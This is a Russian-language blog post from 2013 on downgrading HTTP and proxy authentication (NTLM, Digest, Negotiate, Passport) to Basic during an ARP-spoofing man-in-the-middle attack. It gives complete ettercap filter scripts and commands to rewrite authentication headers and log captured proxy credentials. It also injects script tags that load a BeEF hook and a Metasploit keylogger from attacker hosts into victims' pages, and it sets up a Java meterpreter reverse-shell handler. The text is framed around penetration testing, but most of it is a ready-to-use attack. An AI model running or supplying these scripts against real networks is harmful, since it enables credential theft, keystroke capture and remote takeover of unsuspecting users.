16 Мая, 2013

HTTP Authentication Downgrade

Dmitriy Evteev

В протоколе HTTP, согласно RFC2617 , предусмотрены два метода аутентификации: базовый ( Basic ) и дайджест ( Digest ). При использовании базового метода аутентификации имя пользователя и пароль передаются в кодированном виде с использованием алгоритма base64, что в случае компрометации канала связи между клиентом и веб-сервером приводит к компрометации учетной записи, которая использовалась при аутентификации. Второй метод аутентификации (digest) базируется на использовании однонаправленного алгоритма хеширования MD5 т.е. пароль не передается открытым текстом. Однако, при реализации аналогичных угроз метод дайджест не защищен от атак типа "повторное использование" (replay attacks).

Посмотрев на такое безобразие, компания Microsoft заботливо добавила дополнительные методы аутентификации : встроенная проверка подлинности Windows ( NTLM Authentication ) и проверка подлинности в системе .NET Passport (насколько я могу судить это порабощение мира, в т.ч. при прочих стараниях, не увенчалось успехом). NTLM-аутентификация работает по принципу запрос-ответ (challenge-response) т.е. ни пароль ни его хэш никогда не передаются "как есть", вместо этого они используются для генерации ответа (response) на случайный запрос (challenge). В последствии исследователями были найдены серьезные недостатки в реализации данного метода аутентификации. Так, на сегодняшний день общеизвестно, что NTLM-аутентификация подвержена атаке NTLM-Relay , challenge spoofing (для последующего использования "радужных" таблиц), NTLM Auth Downgrade to LM, а также, благодаря оригинальному применению алгоритма шифрования DES над известным содержимым, передаваемым в качестве случайного запроса (challenge), протокол аутентификации уязвим к возможности восстановления NTLM-хеша  за приемлемое время. Так и не получивший широкого распространения метод аутентификации на основе .NET Passport основан на проверке предъявляемых данных в системе Windows Live  с использованием однонаправленного SSL-соединения т.е. такой метод также не внушает особого доверия.

Наиболее защищенным методом аутентификации при использовании протокола HTTP over SSL/TLS по праву стоит считать проверку подлинности с использованием цифровых сертификатов. Однако, в силу того, что аутентифицирующийся стороне необходимо таскать с собой нечто, не позволяет использовать этот метод всеми и для всех приложений.

Еще стоит упомянуть различные схемы form-based аутентификации поверх протокола HTTP в том числе с прикручиванием одноразовых паролей, что делают их модными и невероятно крутыми)), но передаваемыми с использованием открытого протокола, а потому уязвимыми к атаке "человек по середине".

Это был краткий ликбез на тему аутентификации в мире нет-серфинга. А теперь посмотрим на все это глазами атакующего.

Когда атакующий находится в непосредственной близости от потенциальной жертвы (в пределах одного broadcast домена), одним из сценариев атаки будет организация MITM (Man-in-the-middle attack). А самым быстрым, шумным, но эффективным методом реализации MITM атаки, разумеется, является ARP Poisoning ( ARP-spoofing ). Стоит ли в этом сценарии довольствоваться лишь перехватом хешиков и тратить процессорное время на восстановление заветных паролей? Если атакующий ограничен временем (например, участвует в проведении внутреннего пентеста в непонятной комнате заказчика без кондея, кофе и красивых девочек), я думаю не стоит!

Контролируя передаваемый трафик между клиентом и веб-сервером можно поправить используемые механизмы аутентификации на более открытые - Basic. Разумеется, для клиента это будет неожиданно вывалившееся окно с просьбой повторно ввести логин и пароль, а в довесок, правильно введенные креды никогда не будут приняты веб-сервером. Но при этом атакующий без каких-либо дополнительных усилий получает сакральный секрет за минимально потраченное время. Пример реализации данной атаки с использованием ettercap  приведен ниже.

# cat http-auth.downgrade
if (ip.proto == TCP && tcp.src == 80) {

      if (search(DATA.data, "WWW-Authenticate: NTLM")) {
           replace("WWW-Authenticate: NTLM", "WWW-Authenticate: Basic");
           msg("WWW-Authenticate NTLM downgraden");
      }

      if (search(DATA.data, "WWW-Authenticate: Negotiate")) {
           replace("WWW-Authenticate: Negotiate", "X-Powered-By: Basic");
           msg("X-Powered-By injectedn");
      }

      if (search(DATA.data, "WWW-Authenticate: Digest")) {
           replace("WWW-Authenticate: Digest", "WWW-Authenticate: Basic");
           msg("WWW-Authenticate Digest downgraden");
      }

      if (search(DATA.data, "WWW-Authenticate: Passport")) {
if (search(DATA.data, "HTTP/1.1 302 Object moved")) {
  replace("HTTP/1.1 302 Object moved", "HTTP/1.1 401 Unauthorized");
  replace("WWW-Authenticate: Passport", "WWW-Authenticate: Basic ");
           msg("WWW-Authenticate .Net Passport downgraden");
}
      }
}

# etterfilter http-auth.downgrade -o filter.bin
# ettercap -T -q -F filter.bin -m log.txt -M ARP -i <interface> /<victim ip>/ //

Ложка дегтя в бочке меда


К сожалению, для атакующего в браузерах Opera, Internet Explorer (начиная с 9-й версии) и Safari предусмотрено грозное предупреждение браузера в случае использования базового метода аутентификации (да кто читает эти предупреждения?!))


К радости атакующего в Firefox и Chrome (!) таких оповещений нет. Для любого метода аутентификации последние версии указанных браузеров выдают одинаковые диалоги.


Развитие мысли


В большинстве корпоративных сетей для доступа к интернет используются кеширующие прокси сервера, которые используют аналогичные методы аутентификации (Basic, Digest, NTLM, form-based). Как-то мне даже приходилось наблюдать, как пользователи подобных сетей с периодичностью в 30 минут вводят повторно свои пароли (вот она тяга к интернет)). Сомневаюсь, что замазоленные глаза пользователя подобной сети придадут значение несколько изменившемуся диалогу... В общем, находясь в подобной сети, имеет смысл попытать счастье для молниеносного получения пароля корпоративного пользователя аналогичным путем:

# cat proxy-auth.downgrade
if (ip.proto == TCP && tcp.dst == 3128 || tcp.dst == 8080) {
      if (search(DATA.data, "Proxy-Authorization: Basic")) {
           log(DATA.data,"/tmp/logfile.txt");
           msg("Proxy-Authorization foundn");
      }
}

if (ip.proto == TCP && tcp.src == 3128 || tcp.src == 8080) {
      if (search(DATA.data, "Proxy-Authenticate: Digest")) {
           replace("Proxy-Authenticate: Digest", "Proxy-Authenticate: Basic");
           msg("Proxy-Authenticate Digest downgraden");
      }
      if (search(DATA.data, "Proxy-Authenticate: NTLM")) {
           replace("Proxy-Authenticate: NTLM", "Proxy-Authenticate: Basic");
           msg("Proxy-Authenticate NTLM downgraden");
      }
}

# touch /tmp/logfile.txt && chmod 666 /tmp/logfile.txt
# etterfilter proxy-auth.downgrade -o filter.bin
# ettercap -T -q -F filter.bin -m log.txt -M ARP -i <interface> /<victim ip>/ //

Действуем аккуратно


Если же на другой стороне провода находится нервный юзверь, который по предварительным ощущениям устроит истерику от появления многа буков о передаче пароля открытым текстом, тогда имеет смысл ограничить атаку по User-Agent. К сожалению, полного автомата с использованием только фильтров ettercap не добиться. С другой стороны, истеричных пользователей от разумных втыкателей во все окна в этом сценарии атаки можно отсеять с использованием предварительного детекта через BeEF :

# cat http.beef
if (ip.proto == TCP && tcp.src == 80) {
      if (search(DATA.data, "</title>")) {
           replace("</title>", "</title><script src=http://<BeEF IP>:3000/hook.js></script>");
           msg("beef js injectedn");
      }
}
# etterfilter http.beef -o filter.bin
# ettercap -T -q -F filter.bin -m log.txt -M ARP -i <interface> /<victim ip>/ //

Аналогичным путем можно также зацепить перехват нажатий на клавиатуре с использованием msf (ровно как отчаянный сценарий с browser autopwn ).


msf > use auxiliary/server/capture/http_javascript_keylogger
msf > set SRVHOST <YOUR IP>
msf > set URIPATH /
msf > set SRVPORT 80
msf > run

Конечный фильтр для ettercap может выглядеть следующим образом:

# cat http-auth.downgrade
if (ip.proto == TCP && tcp.src == 80) {

      if (search(DATA.data, "WWW-Authenticate: NTLM")) {
           replace("WWW-Authenticate: NTLM", "WWW-Authenticate: Basic");
           msg("WWW-Authenticate NTLM downgraden");
      }

      if (search(DATA.data, "WWW-Authenticate: Negotiate")) {
           replace("WWW-Authenticate: Negotiate", "X-Powered-By: Basic");
           msg("X-Powered-By injectedn");
      }

      if (search(DATA.data, "WWW-Authenticate: Digest")) {
           replace("WWW-Authenticate: Digest", "WWW-Authenticate: Basic");
           msg("WWW-Authenticate Digest downgraden");
      }

      if (search(DATA.data, "WWW-Authenticate: Passport")) {
if (search(DATA.data, "HTTP/1.1 302 Object moved")) {
  replace("HTTP/1.1 302 Object moved", "HTTP/1.1 401 Unauthorized");
  replace("WWW-Authenticate: Passport", "WWW-Authenticate: Basic ");
           msg("WWW-Authenticate .Net Passport downgraden");
}
      }

      if (search(DATA.data, "</title>")) {
           replace("</title>", "</title><script src=http://<MSF IP>/test.js></script>");
           msg("msf js injectedn");
      }

      if (search(DATA.data, "</title>")) {
           replace("</title>", "</title><script src=http://<BeEF IP>:3000/hook.js></script>");
           msg("beef js injectedn");
      }
}

if (ip.proto == TCP && tcp.dst == 3128 || tcp.dst == 8080) {
      if (search(DATA.data, "Proxy-Authorization: Basic")) {
           log(DATA.data,"/tmp/logfile.txt");
           msg("Proxy-Authorization foundn");
      }

}

if (ip.proto == TCP && tcp.src == 3128 || tcp.src == 8080) {
      if (search(DATA.data, "Proxy-Authenticate: Digest")) {
           replace("Proxy-Authenticate: Digest", "Proxy-Authenticate: Basic");
           msg("Proxy-Authenticate Digest downgraden");
      }
      if (search(DATA.data, "Proxy-Authenticate: NTLM")) {
           replace("Proxy-Authenticate: NTLM", "Proxy-Authenticate: Basic");
           msg("Proxy-Authenticate NTLM downgraden");
      }
}

# touch /tmp/logfile.txt && chmod 666 /tmp/logfile.txt
# etterfilter http-auth.downgrade -o filter.bin
# ettercap -T -q -F filter.bin -m log.txt -M ARP -i <interface> /<victim ip>/ //

Небольшое отступление


Раз уж речь зашла про BeEF, стоит упомянуть наиболее дерзкий сценарий его использования в отношении браузера пользователя. Я говорю про то, чтобы впарить пользователю java-апплет, через который (в случае разрешения пользователем его запуска) можно сразу же получить доступ к операционной системе с правами браузера.


На своей стороне поднимаем msf handler:
msf > use exploit/multi/handler
msf  exploit(handler) > set PAYLOAD java/meterpreter/reverse_tcp
msf  exploit(handler) > set LHOST <MSF IP>
msf  exploit(handler) > set LPORT 6666
msf  exploit(handler) > exploit
И в консоли BeEF, после того, как удалось словить клиента, следует выбрать Exploits->Local Host->Java Payload

На стороне клиента появится что-то вроде:


И тут уже либо все, либо полное фиаско…

Нежно и аккуратно


В условиях, когда система, с которой происходит спуфинг ходит в интернет (в т.ч. к ресурсам сети), равно как атакующий контролирует шлюз (что является наиболее оптимальным и тихим вариантом), можно проделывать все тоже самое, но более кошерно используя полноценный или transparent proxy. Для этого могут использоваться, например, sergio-proxy или MitmProxy .
или введите имя

CAPTCHA